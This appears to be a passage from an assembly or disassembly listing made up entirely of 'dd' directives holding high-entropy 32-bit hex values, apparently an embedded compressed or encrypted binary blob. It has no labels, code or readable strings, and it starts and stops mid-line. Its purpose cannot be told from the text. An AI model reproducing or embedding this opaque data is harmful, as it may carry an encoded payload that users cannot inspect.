0DE0058FAh dd 797FAAFDh, 0CAD1066Ch, 38F1990Eh, 846A4Ch, 5373C58Ch dd 0E718069Bh, 3563088Ch, 49001C20h, 559E158Ch, 48D673D8h dd 0B60052CAh, 766C7E3Ch, 0E1FED4F7h, 88AD1700h, 9903A4CDh dd 3B4D0045h, 0CBDAEBF0h, 1B38782Dh, 0BA170019h, 3C985BF6h dd 0C0A22C71h, 7F510440h, 83498144h, 0BB833022h, 48182500h dd 0C7CC9485h, 130900CBh, 0D3D7F50Bh, 891E04F0h, 6080345Dh dd 110305FBh, 0A0787B41h, 15E7BE1h, 1B744469h, 0D3530C46h dd 434EE400h, 3815E980h, 0EAE866h, 2ACA4640h, 0FBC6BDA1h dd 6EE5540Eh, 218D8C84h, 2AC2000Bh, 0E21E4541h, 690E446Ch dd 8EBC848Eh, 0CF58E788h, 51754E60h, 584060E2h, 0CA27C90Ah dd 6E07AAFCh, 6D926FBDh, 414B43h, 203EAF20h, 0B947D287h dd 0FEFA1C00h, 435B32CAh, 0E0080C09h, 0C1807354h, 3618F4FCh dd 0B7201013h, 6901830Eh, 0DC7AA6EAh, 1180ACC7h, 17FECC60h dd 0DD0CA5D9h, 84DC1DBh, 207960DCh, 0F9EE7481h, 1F77ED3Dh dd 550BF701h, 4CD703B5h, 698800FFh, 71D3E8AEh, 3607F7F8h dd 0FA1B67CCh, 0A0415425h, 0A26732Dh, 2AFF1080h, 4C77E5C1h dd 33AE5600h, 0E39ED90Ch, 0DF050025h, 0D24FA150h, 670068F0h dd 593FE235h, 1247A8h, 0D30A4A43h, 1F77C46Bh, 78648F00h dd 6F1AC39Eh, 0C0B1E4B6h, 956E309Ch, 0E8010BFDh, 7FEA2B2Eh dd 94C8D990h, 8D140083h, 0B76BCA3Eh, 1E000784h, 0BE2458DAh dd 5EBC21Ch, 96BC1BB1h, 7374C059h, 91018A69h, 60648D6Ch dd 0C0E6E1C6h, 6BD6D2h, 0D295C59Fh, 0DC03FC08h, 17A67A00h dd 32F47781h, 736B00FBh, 4367107h, 0D63A733h, 90E41B18h dd 0ED79ACA3h, 8521F8h, 0EDA6FFC1h, 0FECBA16Dh, 25DFCC0Fh dd 2AA503ECh, 0F324B036h, 0CF40009h, 88F53C3Bh, 6F105B1Eh dd 0A13E1B23h, 501A6C98h, 337C0851h, 8D027601h, 322D9E75h dd 0B9DEECh, 0F71E5CE2h, 2EE4966Bh, 0DC0414F8h, 0EE8C2631h dd 0DD98BB81h, 0F09533C4h, 29BB1887h, 3C4B28E1h, 1D893500h dd 65DD18B1h, 8018C376h, 0D878F036h, 4F453h, 57C8A56Eh dd 0F132074h, 9C89CCF1h, 0E68042AFh, 0CFBB7375h, 321E8B00h dd 0B906B49Ah, 704314A1h, 0B10C8C39h, 0A3309E08h, 75F2A9F8h dd 0C7062476h, 0FC346693h, 7A8D3F38h, 0EAEE831Fh, 0F4021B28h dd 31A81956h, 99C10BA7h, 251743F1h, 893A982h, 609823E9h dd 0DA329B70h, 0B71A816h, 1458A60Ch, 2A668C5Ch, 451F9083h dd 260042F0h, 9B7E3D86h, 797F60DDh, 0DF1BFEDEh, 1C567CA4h dd 3CA07684h, 0BC18F0FBh, 0B7189323h, 0CCA212A1h, 57104E35h dd 0A54CC440h, 710A4DDCh, 48FF2DBBh, 78BAA608h, 7666A1A7h dd 0E9CA3749h, 39969050h, 8346075Bh, 317577ECh, 50065776h dd 2DF7A5B8h, 187CDD28h, 0A2FF5101h, 2279B52h, 0CFA364D8h dd 17AC7759h, 30FC0639h, 9B4FF506h, 399F755h, 6B823975h dd 1000AB23h, 8427E9BDh, 155D7C18h, 84319870h, 71835800h dd 0A326E64Fh, 0E50C3DF0h, 10A2EF50h, 96FD0461h, 7BDC49Bh dd 71011F14h, 0DDF0FFE1h, 27B23A19h, 4692134h, 1FE1CDCh dd 0F470A69Ah, 2A9EC9D0h, 0C6A0C693h, 58F26478h, 10300430h dd 1097AADBh, 183320BBh, 0CFA14B93h, 22EA0973h, 0BC01DBA8h dd 50EE69A5h, 29F1F784h, 0E900DFE8h, 0E4349A2Ah, 1D88E0B0h dd 1996CF72h, 5F9B715Eh, 0BA1D0140h, 9E6A320h, 2F3C7F1Ch dd 0F62306A8h, 7182443h, 42710372h, 0F56CCF19h, 98327358h dd 0AC8F3944h, 50E21054h, 8B34BC5Bh, 20E06CB9h, 41C09A44h dd 3A98C9FBh, 9B330621h, 0B088B3BBh, 0E9421092h, 0CF15075h dd 1808F509h, 0FD10FE42h, 0B930C30h, 15BA7020h, 4F64814h dd 0D03823B9h, 0A938804h, 0D410AEh, 2DC7905Fh, 8C19141h dd 4DF108F9h, 510850B4h, 2E19901Ch, 444F38E7h, 3C204FB0h dd 605A4D87h, 0EEB0FE26h, 99C62533h, 2811A5D8h, 74911418h dd 22CC184Ch, 6814CA09h, 20B81909h, 893A6C1Ch, 4C577110h dd 8104550h, 8A2B260h, 0CC090438h, 390DCB3Eh, 3E81E6CDh dd 92E68C9h, 9B32C01Ch, 9CAF741h, 988C0C4Fh, 514029FEh dd 81914872h, 5029DE75h, 322FCD60h, 5ECA00B8h, 0A2106BFCh dd 0F750A7F5h, 9AA128h, 0B491EC06h, 850818F6h, 5F04C8FCh dd 0E8F61759h, 0A45E4C5Ch, 168FF6B4h, 728979h, 8CB056C8h dd 0D328EDC8h, 8101200Dh, 416CCB88h, 0E4324F77h, 8E9CE90Bh dd 69E0E426h, 0B4FA512Ch, 323810A4h, 0C04B4882h, 0B09A4670h dd 0B84AF420h, 0C41A3070h, 7CD0261h, 11272D34h, 0A8DE2881h dd 283BF030h, 9834ACFFh, 9DCE20B4h, 2AC23300h, 1950F675h dd 2B9B1974h, 0D0060877h, 3B3EF10Eh, 0A27F8B2Dh, 0D910A67Eh dd 82A00CF9h, 0D3082506h, 5A1293Ch, 0F25120A4h, 25488C59h dd 77220980h, 0B284D02h, 4F9C6D0Fh, 9A1687FFh, 0B13306A0h dd 0A0F5001Ch, 0B8290A9Dh, 0E010818h, 0C11E96F4h, 10327C9Fh dd 39B1502h, 0ECC8F5E9h, 0A9404A24h, 2307053Dh, 8433F65Ah dd 8A440024h, 0F0A19BCFh, 87A53109h, 0F69C018Bh, 28912720h dd 6C600229h, 85649B97h, 88015360h, 0A7418D29h, 0B5FDB821h dd 1661FC30h, 6631235Ah, 5D63E148h, 0F3B82508h, 0D080E4A9h dd 0F3481B2h, 0A5DCCCF0h, 72FF5440h, 2760984Fh, 0F68CA921h dd 269C1931h, 447CA1F7h, 18B00AA8h, 0A33B0FACh, 337087FCh dd 0A5B0B097h, 0E902E358h, 4F731FBBh, 312C4935h, 0B000A85Dh dd 7812EEAEh, 2C1A7F93h, 8C80F753h, 29F14D51h, 86656205h dd 0B8289D3Bh, 22F34371h, 9D1307B8h, 4033F415h, 20EF703Eh dd 0A744FE00h, 0F619D65Ch, 0DB5E017Ah, 2615934Ah, 1B06F433h dd 14DF98A0h, 0F3A41650h, 80F40F51h, 2ED65D0h, 0E2D9327h dd 0FFD7AE01h, 0D49B3A81h, 3FD8804Ch, 73271870h, 2B7B01A8h dd 20D9736h, 0A7A04150h, 0B190346Ah, 0DD7C2816h, 0B8D8204Ah dd 761CD704h, 1EF7A044h, 74F631F0h, 4508BA15h, 7ED803EEh dd 29E19A3Ah, 0A5628C18h, 5ED04085h, 44AA499Ah, 0C0EE169h dd 0C82A6B29h, 408351Ch, 9C333518h, 13687C30h, 0E0878829h dd 4C8AA378h, 4F0AA410h, 10602446h, 29A719AFh, 74EC7329h dd 1CDD138Fh, 0E4D8A127h dd 0A7F60905h, 0FD402166h, 0D9BA04D9h, 827B8A7Eh, 4883D400h dd 28211C18h, 7F973F4Bh, 0B2802093h, 8890096Eh, 3D581852h dd 104226FDh, 488B2ABBh, 4428F1E8h, 7D00F03Ah, 0F3459A39h dd 3C651A5h, 0A18F7BF4h, 0B0063A5Ah, 0A90BACBh, 90787C60h dd 0A49A01B8h, 7BEFA5FBh, 803FF107h, 74A20279h, 0A8149E31h dd 51DB5080h, 30C1B0FAh, 36896908h, 8D880CD2h, 75780613h dd 6883488h, 0A8F69D9Ch, 33003A51h, 69DFED6Dh, 485D097Dh dd 9815381Ah, 7A0F84F3h, 250A72DCh, 8007448Ch, 51263334h dd 0A081286Fh, 420A257Bh, 0B91C6717h, 0EE891E9Dh, 0A60FD483h dd 0A4F61002h, 559BA354h, 41076E86h, 0A2D2C8A0h, 0A9A55E0Ch dd 671072h, 0B67BD9A1h, 0C0BA43C2h, 7F980850h, 3038688h dd 300AA076h, 88DDB7D9h, 0CC00F14Ch, 4CC43897h, 783C105h dd 0AF9DBCD2h, 6151F01Fh, 0E713CFD9h, 0CAC3D24h, 803524h dd 3456E909h, 0E52888B7h, 0F9009C2Bh, 6DB82267h, 3C6411B4h dd 0CF09627Dh, 10272133h, 0FD1E48E7h, 821A6E04h, 6C3B9C90h dd 9979019Dh, 0A0FFFA5Ah, 0D408B94Ah, 726E590h, 0BC00749Dh dd 5313944Dh, 210D4AD9h, 24A55104h, 0C8A49364h, 84EEC976h dd 7CADF200h, 26A085CBh, 0BFAC0D0Bh, 0E0A06099h, 215030F1h dd 77E47CACh, 186D50A1h, 669D040Fh, 32F80299h, 42244Fh dd 716C967Fh, 12E5003Ch, 0BA7DD9FEh, 4C8033DDh, 0A8538032h dd 6F6E4000h, 0F6DC14E0h, 121098B1h, 7CE8F62h, 0E054D9F3h dd 500BE4DAh, 2C80109Eh, 0DDE7C52Ah, 0B8F45Eh, 8D4B3FD4h dd 838BC330h, 93970094h, 5B2C3020h, 0C2F50005h, 0F19A68B0h dd 85097CF3h, 87F606BBh, 404F4BDCh, 6C590ADCh, 0D121671Ah dd 0EEBD801Fh, 77003DA0h, 44014D08h, 9E46C86Bh, 52873EACh dd 81EA8D73h, 0D679CB7Fh, 96751868h, 2CE77200h, 5A3DE26Eh dd 0CF454h, 0B50170F4h, 93ED878Bh, 78F2771Eh, 0B91B0EA0h dd 0A8A0266Bh, 0FD50FEF0h, 0B04407Dh, 4FC0B4F6h, 0ECF05087h dd 18935D70h, 382E1982h, 800103FAh, 7BB5FF33h, 74720D86h dd 0C022C112h, 969473A8h, 2677EB7Eh, 38A470Fh, 203A4DF4h dd 148F9ED4h, 206A6D04h, 0EA252BE0h, 0C5A40986h, 0D090AB9Ch dd 0B01D27DFh, 0E0458E55h, 0F8304A5Ch, 18B85B1h, 4D077DA0h dd 70F27503h, 0F60296FCh, 86984F9h, 0D0BCE399h, 0B1EC1924h dd 49520034h, 50B74737h, 0B1182A07h, 3E462DD8h, 514F0021h dd 0AED02237h, 313E45Ch, 0D8006963h, 0B525FE81h, 7C0524A1h dd 0F49D3FF4h, 4070A69Ch, 9BD2A16h, 0E0CF072h, 8598927h dd 1EE4BAC2h, 0C0A21C20h, 28071E26h, 640C13DEh, 0A8C7A02Ch dd 1EF43B0h, 0B4163602h, 370C2DE8h, 0EC4A4C88h, 0F2C30399h dd 8C5BBE6Eh, 38273ED1h, 245A10A4h, 54140600h, 0EE8E74FEh dd 22CC0E6h, 0FC409C61h, 60BC62A1h, 46DA1106h, 97008F9Ah dd 7E2D7B1h, 1238E136h, 13B9BC3h, 0A4C9A352h, 79804885h dd 11BFF68Ch, 84A1F086h, 4B01F7D5h, 0F8C4BD5Fh, 851C2CC5h dd 943E2AE5h, 80C09252h, 3991ABD1h, 0F4A84861h, 0C47EE200h dd 4678E45h, 0A405F03Bh, 5728B838h, 78321F0Ch, 3E8171h dd 2C943F21h, 33667007h, 0C9015C7Bh, 27725AF6h, 0FC34F786h dd 1632407Ch, 5E553314h, 79D48188h, 802B7DC3h, 2E9B0A1Dh dd 160C774h, 0C3705E21h, 0EFF40598h, 28DFEF7h, 3044F588h dd 45604D24h, 0F0230ABDh, 211A1841h, 0BD1C2BB7h, 0DD836BE1h dd 0E1961EEh, 0F6DB2969h, 0C38D4AE0h, 84070A21h, 1768D727h dd 759023B9h, 0A9ABE005h, 3442013Dh, 98F62DDDh, 9246E4CDh dd 7099A100h, 3A518F1Ah, 7BC914B5h, 6300DC84h, 0BB31F1DBh dd 0FC12494Ah, 6C601FCEh, 1CE89A40h, 41847F0h, 88266196h dd 0D4AA4E2Ch, 0C11589Dh, 1EAB9583h, 0D62EC10Fh, 9CDA21E5h dd 5F31316Fh, 0B818C462h, 6B69F4A5h, 4CC7D203h, 5C7992h dd 20540C21h, 0B3BBDA38h, 71720F14h, 99311B34h, 0FF69C161h dd 28925040h, 0E9740141h, 7CB8A280h, 3FE82026h, 13AF9A39h dd 0E0417D93h, 0B0DB8414h, 1BC2060h, 71BE0F24h, 78299D2Dh dd 8FFF2868h, 0CB7A7877h, 99003FE4h, 0BEB127E9h, 308C14BCh dd 8740DC0Dh, 6C48F0A3h, 333A0B73h, 0A7508099h, 45CA57Bh dd 248991EDh, 8550D82Dh, 0B72B3608h, 4134C470h, 3E374D7Bh dd 82A2F4h, 0BBF94455h, 39979FFDh, 184C43Ah, 67A72061h dd 30F2F4CDh, 4850BD43h, 0D0911FFEh, 0BD694960h, 0FAB00084h dd 70C38A1Ch, 1800C00Ah, 348BA09Bh, 228554Eh, 626DB5DCh dd 0F8C053C3h, 36400446h, 2372CBFh, 1889E404h, 0C1A06FF0h dd 11BB73E9h, 4F87817h, 88D47D54h, 0B709CF09h, 2F34894h dd 0E0209C6Eh, 0ECA18CC7h, 0C3FC1950h, 5673210Eh, 0C39F5BC0h dd 261F050Fh, 20EF585Fh, 65388AB8h, 7755E900h, 0A16A6CDBh dd 3A3E00B2h, 0A739152Fh, 24945F5Ch, 0E5C187B8h, 0D633CC9h dd 809990F9h, 0A4D33AC7h, 2000F448h, 63296C94h, 0B52FF665h dd 42A48FA7h, 0F512A646h, 188A2D09h, 0A72307BCh, 4497F004h dd 870037A0h, 633D84B2h, 0F664A5h, 209817DAh, 0DF668F15h dd 566AD10Fh, 68768089h, 2AE06B4h, 901DFEC3h, 94467069h dd 4F7D8F00h, 578CD29Eh, 111A009Ah, 0FB0C0B64h, 0E0609B72h dd 69024D29h, 9DBE1FE4h, 66328020h, 0A1913D80h, 36A3600h dd 94B0BD2h, 1ED30502h, 0A0949C33h, 6D48CD98h, 0D5D20029h dd 30290148h, 0A37200AAh, 0F1B739FFh, 1B068FE8h, 0BC23CF26h dd 59150028h, 0FF2213E5h, 0C075AB62h, 0C4ADD600h, 0EE54D141h dd 315ECDCh, 56F387B4h, 5FEF60F4h, 60671907h, 0F221F8C1h dd 1236FB00h, 833F55DFh, 244F06CBh, 692E4384h, 3275C500h dd 318E9A6Fh, 482C3FBDh, 1E08288Eh, 99C710C3h, 0BCE8EAB8h dd 0ADB3B00h, 3A8D2E54h, 0E7133EC8h, 0A8B14961h, 1100DB55h dd 2E8BCFC3h, 0E22B8A5h, 3C625E0Bh, 0A8A706C0h, 29C3FA92h dd 78BA617Ah, 17373C40h, 614649Dh, 196FA067h, 0A2A51C0Ch dd 7B0169E7h, 8118C02Bh, 0EB764FA4h, 31AD7200h, 0A9990740h dd 549418A8h, 0D89B30EAh, 80F17000h, 0CE20F3C5h, 0AFA803CCh dd 2E36D7D4h, 4351029h, 24460F76h, 0A983CD4Dh, 8590FA49h dd 0B5001E56h, 1DF7E651h, 0D3CBDh, 2D2AB97Ch, 6404906Dh dd 86181A13h, 0AC8B1400h, 237281h, 0F0C37F30h, 0F65695A5h dd 353D121Eh, 26292700h, 1EAA1FDEh, 0C5368E32h, 0C0EFC5E3h dd 23D525FEh, 6653A803h, 0D23A02CBh, 6C49C093h, 0CA2E00D1h dd 0B8C52A41h, 1E1EC1FCh, 0FD8F944Bh, 0D0376092h, 0E2C6D534h dd 0CDA70084h, 0EF42B186h, 0F4006EECh, 0CE9A560Ch, 5D2314h dd 0F612202Eh, 38225218h, 545C7800h, 0AF2862DAh, 0CE1000Bh dd 51D97612h, 0E00C8F97h, 30891FBAh, 0E1354F05h, 0AC8DD802h dd 825FBE00h, 0E03D69E6h, 29A90058h, 7A4D6A7Ch, 0B405187Fh dd 712BA750h, 25AAB440h, 0C06BE25Fh, 570DEF81h, 220E795Dh dd 0E03ACAE8h, 232F2572h, 1AF27Ch, 0C6C51155h, 0B7806BDFh dd 10106630h, 124E6743h, 18B0302h, 25A75ADFh, 406980A3h dd 0E36EC9DEh, 0C43D01FBh, 0BAC8A9C6h, 9A0BFADh, 80D8D713h dd 8C8E6CA5h, 2AAE1DC4h, 19E10021h, 89B826D1h, 0C9BB8D00h dd 10932D04h, 0EDB0A0D4h, 601F7669h, 0A6CCC0F7h, 4901ECB6h dd 0A087880Ah, 92043ADh, 1E3D0024h, 0C4A46C0Bh, 0F1609212h dd 7AEB47B8h, 0BA5601B7h dd 649D2E8Eh, 0D601602Dh, 777FE900h, 18058D47h, 39070168h dd 0A23FE165h, 4DEBD427h, 8800F1E2h, 0E05AD19Dh, 0F2FC05h dd 398B4FE9h, 0B32CA6A2h, 44689500h, 3FE5856h, 157900CDh dd 0ED0D65BDh, 0C700C017h, 9832DFA6h, 0E72037h, 8C079281h dd 7A704DB9h, 72AFFE3Fh, 0D2776D00h, 10DD5D60h, 6E5303E4h dd 81968CE8h, 0EE91D4C8h, 6CEA0F00h, 0E7F67605h, 70F40018h dd 4F24FC6Dh, 0CCF8603Fh, 995D1500h, 657FE5F6h, 54D20395h dd 968AB61Fh, 9FEE46A0h, 0C8CFD624h, 68DD3F00h, 0F01A1C7Ch dd 39F890h, 6F8F209Ch, 8F3B627h, 6B23E300h, 68D7B90Bh dd 9D5D28CAh, 99A73C87h, 0AEB7228Ah, 73F000F4h, 0F76CE337h dd 0FADFAA00h, 69B0658Eh, 0A4910021h, 98E53C41h, 0D600B64Dh dd 0FE46F7CCh, 833087h, 2AE8D4C0h, 6103E224h, 0BD70A500h dd 463251C5h, 0A769042Fh, 8121223Ch, 2324E338h, 3B72816Ch dd 74C01059h, 0C6B600F9h, 0BAAF97D3h, 0B50333D4h, 152ED9C4h dd 8206F064h, 9FEF00CDh, 13D02B1Ch, 1877871Dh, 497C160Bh dd 0C8DD8305h, 0B8A60083h, 0CC0341E1h, 3D00CE28h, 4FD27C14h dd 32CA80h, 0F53C7E5h, 4E6252A5h, 9BFEAA00h, 0D6B18DF2h dd 6842C9F4h, 14809F00h, 0F60C3C7Dh, 0D82CB04Bh, 2EAF206Ah dd 0CDDEF503h, 0D8BB5C61h, 4C6D907Eh, 1E004783h, 6BE9F27h dd 581C3AD8h, 89408B35h, 0BF0D9CC9h, 74E800B0h, 0CA834B21h dd 8C01FEA2h, 0D443615Ch, 0E02B6EA3h, 12EA1887h, 1E3CC403h dd 0F3B5D3F1h, 2E5CC8B7h, 0BCB33D65h, 83CC7B00h, 0DAAA8DEFh dd 3E59C48h, 9FF5B2B0h, 89D0CF05h, 199CA11h, 5CF034A4h dd 474FD723h, 0A955A0F0h, 103742Bh, 101A3862h, 77290364h dd 0D3518FB1h, 89B01698h, 0F5B9800h, 0D652B52Fh, 83981Eh dd 0CEA80A2Ah, 14B2D5CDh, 60B99F00h, 2B23BDEAh, 660F01DAh dd 0D036C8C0h, 202860CEh, 0C14D5800h, 9D39B48Dh, 63440006h dd 6F87A59Ah, 0A2008C9Bh, 108A92E9h, 722A898Dh, 6D27894h dd 0C447E64Fh, 972EA021h, 5E0073A1h, 59303C26h, 634C0051h dd 0EAD08955h, 6A002799h, 0E19634DFh, 520835h, 2EA42839h dd 0AB318211h, 6DECBFEEh, 0A4D359h, 7CA44EE8h, 4C2B0975h dd 0BD0024B5h, 90E3FFF5h, 0C500D0DBh, 18D55CA1h, 3A2C733Bh dd 0D808212h, 74ACF470h, 543EA681h, 9BE0000Bh, 3F28C57Ch dd 68E200B6h, 218498BDh, 0BE096DECh, 20306F5Dh, 904F4E24h dd 757000D1h, 0AC35643Ch, 8703C071h, 0C7BBC10Ch, 0BFFCC3A7h dd 1CC36190h, 1AF048D5h, 5EDB9200h, 9EFBD4F9h, 0AF00BE7Fh dd 0F78FCDA0h, 0CEDB952h, 0D907B203h, 0FE004910h, 1EE1F8D4h dd 91A6F2h, 47E318EBh, 22679DB0h, 0C79E4807h, 787055B3h dd 218B0Eh, 0BF9317D4h, 1FE9B7CDh, 0CEFD9500h, 76C5AEE7h dd 5633007Fh, 0F5C0DC7Eh, 5C0003B4h, 79E66407h, 4637EAh dd 4030EFFBh, 0FDDCC906h, 0ACAD9E00h, 9D82176Ah, 0B6FF5C74h dd 21475A07h, 2C2802Eh, 7A0030DEh, 0F03BE24Dh, 0DC3F9Dh dd 11FCF3EDh, 1E922B71h, 47FE7500h, 0F466CB4Ah, 0D9DD0129h dd 0EE554D46h, 77D5C8E3h, 733FA300h, 2AA4F16Dh, 764A0011h dd 0A5DDA252h, 0F200556Ah, 32DA9261h, 17388C5Ah, 411F5942h dd 7F1B407Ch, 0AE05CC03h, 95080413h, 18CBB800h, 0D92BA2h dd 0B40DF02Ch, 86354151h, 6A6F4300h, 734B169Eh, 7CB0563h dd 0A0A738A0h, 0C70A1B8Eh, 0FC92B9C1h, 5A52C94h, 902DA277h dd 744243C7h, 5148497Eh, 0ED771188h, 5A00929Eh, 0DEBA988Bh dd 676100C7h, 5BE10733h, 2B0C05CBh, 2878AB4Eh, 1AB47471h dd 0D0FA23A1h, 5F852800h, 0FF03F86Ah, 5A8C5415h, 1F2100F4h dd 813A2CFAh, 19004A6Ah, 0F15D8B8Eh, 3D40B1h, 61D2A50Ch dd 278CB846h, 2AF61800h, 594B112Fh, 0C80100DEh, 0AEEAB409h dd 0DB00B173h, 914C5FCFh, 0D244Dh, 504AC9C0h, 39BB941Eh dd 43318E00h, 5C07841Dh, 7DF318E4h, 80742ECDh, 3E67E100h dd 0C722A342h, 500F4AF7h, 0A8BF046Ch, 0B2C9032Ch, 0F12393BDh dd 1A4831E0h, 2935CF08h, 4E2E001Eh, 8090A4E1h, 0DFE89600h dd 646FE3B5h, 49F26019h, 1DC21EAEh, 0EB9539h, 0FEC10EA3h dd 0BC3B384h, 0A4780456h, 204698A3h, 0B5D48100h, 75F505CDh dd 7D910169h, 40D8E10Eh, 0DC22F7h, 484A9E9h, 7C61FCh, 9CA12F27h dd 14C841EEh, 3BCD759h, 9AFA8909h, 4F9488CBh, 33D006Fh dd 0DEBB9584h, 15794A8Fh, 9180CB0h, 69812746h, 363F26EAh dd 7F1C0375h, 0D800FFD2h, 8A0DCFBDh, 0CD4CF8h, 0C1270E35h dd 14A07457h, 0DBA1B119h, 5C285008h, 0C09C8D0Eh, 0F21F92E1h dd 4E704082h, 2405E22Ah, 0F0CFCD19h, 0EB21C2FEh, 0C461A061h dd 0C1C1DC16h, 0E9932849h, 0EEF9C2F0h, 0D6CB00B9h, 2C18D45h dd 0C52A4121h, 0EE00A098h, 1B52F9F5h, 3DD3E8Eh, 0D997F79Eh dd 21B01D69h, 195054AEh, 6C9CA794h, 10AB2E0Ch, 2CC802EEh dd 872B928h, 0DDDEF880h, 2A0FC23Bh, 0A04EC69Bh, 92419D78h dd 2898987Eh, 29E63547h, 18E04C05h, 0EB5F2155h, 0FF2DB407h dd 4791F4AFh, 0B9D4DDBDh, 19E00E9h, 0B71968B0h, 99049136h dd 1828DCF0h, 0A9102897h, 0B07D9371h, 3A4C767Ah, 0D2180E34h dd 0F8F20F1h, 120056F4h, 0CDAE58FAh, 0F3F6640h, 9DE62F1Bh dd 131EB014h, 0BCDB008Eh, 0F1FDD65Eh, 5E7A0236h, 0DE5600A8h dd 7443DFADh, 92004D9Bh, 0A6D01957h, 0DEF07AA3h, 37630C68h dd 0B100AA30h, 6504B76Fh, 7493767Bh, 0C318007Ah, 827D891Dh dd 98008A2Eh, 3F784E48h, 608CA6D9h, 4F03D102h, 78C72F68h dd 0DC0096E5h, 371794Ch, 4AAA1104h, 0F1B21551h, 43559498h dd 0CB6E7200h, 0EE4DBF3Ch, 2D671504h, 0FB82A0BBh, 3AE09135h dd 0F01FF7EBh, 83096FCFh, 9902FE8h, 4E681024h, 0EFA72492h dd 31F42D0h, 0DC1198C2h, 0A1C7E01Ch, 938111C0h, 0ED970FCh dd 0C31AFD3Dh, 80D406A4h, 0A7AD7E1Eh, 5EEC1C00h, 0CF076866h dd 7D04E844h, 0FB0A84Ch, 0E0FD07A5h, 809C10D8h, 0CD261EFEh dd 0C244D1E8h, 0DEA60ACEh, 8472AFh, 393DFA7Dh, 920043C4h dd 0F4D2F87Fh, 0A801A3A0h, 0C0E419A4h, 74848339h, 9F019C38h dd 82CF2FD4h, 5C2496A1h, 299EE119h, 0DFE493Fh, 0C9C9342Fh dd 0FBBF9410h, 1A1DB300h, 82942E5Fh, 392400FCh, 6E78416Fh dd 0D44917DFh, 0F7020038h, 4B45E36Ah, 7AAC069Ah, 0A0D00371h dd 4DE4626h, 85868A83h, 8FE8B882h, 21F10575h, 0C05F94C5h dd 42EB472Ch, 32928C6h, 0CC7700D1h, 0F60ED3ACh, 55003448h dd 9B94BD76h, 9678375h, 0EBA150DEh, 82E24A0h, 74064EFCh dd 6B4615E0h, 9C60019h, 0D9F4C4CAh, 180058A7h, 2A33D347h dd 2CF5246h, 0C274329Bh, 0F8481A69h, 530057CEh, 0C4206E26h dd 1CB8DAh, 0F60CA2E1h, 0B470ACA4h, 79DFBA14h, 43097818h dd 0B0E9CF4Fh, 11DF8B7Ch, 88C0744Bh, 0C1618053h, 4ABFECC3h dd 2E446E7Ah, 0DA713A7Ch, 0D67BDB01h, 40F26168h, 9CF47334h dd 6FF3D112h, 36089C1Eh, 4ED301B5h, 0F1A156CFh, 64329Fh dd 0FAA71BA9h, 2398FBh, 0D072EA55h, 49D3D664h, 0AE071A18h dd 0D442E358h, 0A980F438h, 9AE5A054h, 6E8945Ch, 0FB3735E6h dd 4FF32949h, 224B00F0h, 0A3E5450Eh, 0B57818A8h, 96E12D02h dd 0A01BED2Ch, 0EE240AD0h, 0E6B2008Fh, 33263B87h, 83000B3Fh dd 0BF027604h, 243082CCh, 54147Bh, 0AA62957h, 0F5001278h dd 3F1C9CEFh dd 30825489h, 0E5802C17h, 47E79F21h, 4EE11078h, 9CA16990h dd 0AECB10FEh, 1CDE30E3h, 0A24ECCF1h, 0E45B10C0h, 123BF1FBh dd 90C99C21h, 0F1E15C0h, 0BC1BAB24h, 600EF513h, 20148BF9h dd 8C96E350h, 77401D70h, 0D3E440A7h, 1135EBE7h, 80E0F648h dd 3ABA56ECh, 2CE20667h, 8EA4C18h, 0C800A85Bh, 0A0FDD339h dd 819D0051h, 4CE2BE55h, 2B3FC1A9h, 910C6CD9h, 487858A0h dd 5C68F280h, 94923E3Dh, 0AEA4550Fh, 0D4DBF6F7h, 82AC7724h dd 996C1E96h, 0D5BA0460h, 45F15C04h, 388187B1h, 0CAFCB846h dd 99A91B36h, 0D1DA2994h, 2298F522h, 0E12863ECh, 0D0222931h dd 17FD6811h, 0A208289Ah, 846E9097h, 0A44C937Dh, 0E500E829h dd 639426DFh, 7AE8F42h, 737AAB33h, 0C453016Dh, 0DCC9D825h dd 8400D25Ah, 9769C33Ch, 0A670E53Eh, 2BFA6Dh, 720AF25Fh dd 2E94F113h, 0C4EBF000h, 8A1FD1C0h, 8BF94C7Ah, 85F64600h dd 3E075C5h, 0AC34BD03h, 0E0DBD0B2h, 1FC7D89Bh, 0A26805h dd 0D69A6F0h, 0C1002360h, 950B7584h, 60C8978Bh, 13DE11BAh dd 4A07CEECh, 723AC3A4h, 88760930h, 0D57F0061h, 11BF8BB5h dd 0AA00E975h, 0D7AF0801h, 92E16BDDh, 5D3513E4h, 0F7C800Ah dd 26005CFCh, 2FC1E331h, 0FC02AE73h, 0F93600F7h, 0E79B9D0Ah dd 0C700656Fh, 60EB85B0h, 5C0B7007h, 93006ADAh, 9F31B1D2h dd 0F000359Bh, 0BF6FD444h, 1685A20Ah, 0C7C92C1Ah, 68A580FCh dd 0A45AEF7Bh, 6F17C400h, 80DD35h, 58720EA9h, 0D03A26Ah dd 90196401h, 0B5B8E153h, 0BC987870h, 6E1030h, 295442FCh dd 3E611C4h, 5652781Fh, 0EEF9BD5Fh, 4AB880EFh, 0DF7ED13Dh dd 16A74A7h, 3624B292h, 407ABAD6h, 0CFD42C7h, 7D019970h dd 54085219h, 74691F01h, 3EC1790Eh, 0CAAC0F60h, 55006F8Ah dd 0B8C5E991h, 78EC93C7h, 0C6B601DEh, 0D3B8C6Ch, 0F8D887DDh dd 5750C328h, 0A9A0521h, 0E122EED3h, 3BB705FCh, 0A51280F9h dd 65FE0C49h, 10001EF8h, 7CDF6B9Bh, 66F9F2h, 2D2AAF3Ah dd 8DDCCA02h, 3EC67700h, 7617AD09h, 5917759h, 0DD6884ABh dd 0BDEC401Fh, 0AAC78921h, 0F8352603h, 870E6910h, 39A74F50h dd 3E7800E7h, 668D8F30h, 0B000F4BFh, 5A53F7B6h, 9C93BDAh dd 6AE13AA8h, 1FE33982h, 3FF16E60h, 0D80BF001h, 0E032DFA5h dd 5FB3ECh, 0CF714445h, 0FCA0D693h, 7DEC8C00h, 8E023413h dd 23698DFh, 0C2FF0BF6h, 6CD84A22h, 50C5C600h, 0DF39218Fh dd 0F29B0071h, 4428579Eh, 3C003029h, 3851BA2Fh, 0A77961h dd 0A60BE97Ch, 31D7EEA4h, 2644A548h, 8602440Dh, 405037F8h dd 0B7833Ch, 8859D1ADh, 0CD453EDCh, 633CA979h, 55110084h dd 0FCBBE364h, 477000C6h, 1AE238F8h, 48948292h, 310E7100h dd 2B9B755h, 0CC28AFF1h, 4CD09284h, 41AC5A01h, 8F275D79h dd 241A73D0h, 51C26E2h, 813DCDh, 22AFFA9Fh, 44508CE8h dd 6E0062E4h, 5D692ED9h, 0C818E5h, 0EA47D8B3h, 3CEB0AE4h dd 80C92039h, 62AB1439h, 792A29h, 